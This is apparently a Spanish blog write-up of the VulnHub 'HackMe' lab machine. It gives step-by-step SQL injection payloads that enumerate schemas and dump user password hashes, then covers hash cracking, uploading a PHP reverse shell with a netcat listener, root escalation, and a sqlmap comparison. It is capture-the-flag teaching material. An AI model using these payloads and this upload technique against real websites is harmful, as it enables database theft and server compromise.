Sigo resolviendo máquinas de la gente de VulnHub, en este caso entro con la primera máquina (tiene otra) de HackMe. Según el autor es para principiantes, pero indica que está basada en lo que te puedes encontrar en la vida real, así que, comencemos.
Empezamos por la parte de recolección de información, usando para ello nmap. De esta forma vemos los puertos y servicios que tiene la máquina a la que vamos a atacar.

Últimamente parece que todas las máquinas tienen lo mismo, el puerto 22 y el 80. Vamos a ver que nos muestra la web.

Pues nos encontramos con un panel de login, pero además, parece que podemos crear una cuenta nueva.

Me creo una cuenta nueva y de paso abro Burp para que pase la petición por él y poder echar un vistazo.

Pues no me parece nada fuera de lo normal. Así que, hago login y vemos que aparece.

Parece que la web es un catálogo de libros online. Además, al intentar resetear mi contraseña, me aparece un 404 Not Found.

Bueno, al menos confirmamos la versión de Apache xD, que dicho sea de paso, tiene escalada de privilegios entre otras. Pero vamos a seguir con la fase de recolección.

Pues quitando un listado de directorios y poco más, no he sacado mucho. Voy a probar inyecciones en el buscador a ver si sale algo, XSS, SQLi...
Bien, pues tenemos una SQLi de manual xD. En el campo búsqueda, podemos ponerle el clasico ' or 1=1 -- -
como ya hemos visto en las entradas de explotación manual que puedes leer aquí. Y ya que hemos estado explicando la forma manual, que mejor que seguir con esto.

Como ya hemos aprendido en las entradas que comentaba, vamos a empezar preguntando por el número de columnas.
culo' union select 1,2,3-- -
Confirmamos que tiene 3 columnas como ya hemos visto en la imagen anterior.

Ahora le vamos a preguntar por el nombre de la BD con:
culo' union select database(),2,3-- -

Y ahora por la versión:
' union select @@version,2,3-- -

Veamos que más bases de datos hay:
culo' union SELECT schema_name,2,3 FROM information_schema.schemata-- -

culo' union SELECT GROUP_CONCAT(table_name SEPARATOR 0x3c62723e),2,3 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=DATABASE();-- -

También queremos saber lo que hay en las columnas:
culo' UNION SELECT column_name,2,3 FROM information_schema.columns WHERE table_name = 'users';-- -

Y por último dumpeamos el contenido:
culo' UNION SELECT group_concat(USER,":",pasword),2,3 FROM users;-- -

Y el resultado me lo copio en un fichero.

La de mi usuario ya me la sé, y creo que la más interesante es la de superadmin, llamadme perspicaz xD.

Bien, pues md5 todo, y crackeadas en 1 segundo, así da gusto. La que me interesa es la de Uncrackable. Vamos a acceder con ese usuario.

Parece todo demasiado fácil, no sé si fiarme... Momento de subirle una reversa. La que tengo más a mano es la que viene con Kali, está en:
/usr/share/webshells/php/php-reverse-shell.php
Pues si, era tan fácil. Subo la shell sin ningún tipo de restricción y me dice que está en /uploads, así que, la llamo (previamente teniendo un nc -lvnp puerto, escuchando), y ya estoy dentro

Una vez más, hacemos la shell interactiva.
Y me encuentro en el home de legacy un binario, veamos que sorpresa trae.

Ah, pues muy bien, lo ejecuto y automáticamente soy root, guay xD.

Y como nos indican en la web del reto, la cosa era hacerse root, no dice nada de encontrar flags.
No obstante, quiero probar a hacer lo mismo que hemos visto con la inyección SQL, pero con sqlmap, a ver que nos cuenta.
BONUS:
Lo primero es copiar la petición, que podemos obtenerla con Burp. Una vez que la tenemos, la copiamos a un TXT y la llamamos desde Sqlmap:

Luego le decimos que queremos las tablas de la BD webapphacking:

Y hacemos lo mismo pidiéndole todos los datos (por no alargar la entrada, resumo).

Como vemos, el resultado es el mismo, con sqlmap tardamos menos. En este caso da un poco igual porque no había muchos datos, pero en auditorías reales, hacerlo a mano es imposible (al menos en una semana de auditoría, que suele ser lo común para web).
Nos vemos en la siguiente.
0 comentarios:
Publicar un comentario